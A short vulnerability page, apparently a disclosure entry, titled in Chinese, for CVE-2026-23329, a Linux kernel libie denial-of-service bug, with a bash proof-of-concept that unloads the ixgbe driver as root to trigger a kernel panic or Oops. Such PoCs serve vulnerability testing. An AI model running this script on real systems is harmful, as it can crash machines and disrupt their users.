CVE-2026-23329 Linux内核libie组件拒绝服务漏洞

#!/bin/bash # PoC for CVE-2026-23329 # This script attempts to reproduce the vulnerability by unloading the ixgbe driver. # The vulnerability occurs when the driver is unloaded without proper fwlog initialization. # # Usage: sudo ./poc_cve_2026_23329.sh if [ "$EUID" -ne 0 ]; then echo "Please run as root" exit 1 fi echo "Checking if ixgbe module is loaded..." if lsmod | grep -q "^ixgbe "; then echo "Module found. Attempting to unload to trigger the bug..." # This command triggers the libie_fwlog_deinit() call path rmmod ixgbe # If vulnerable, the system may crash or print an Oops message echo "If the system is vulnerable, a kernel panic or Oops should have occurred." else echo "ixgbe module not loaded. Cannot test vulnerability." fi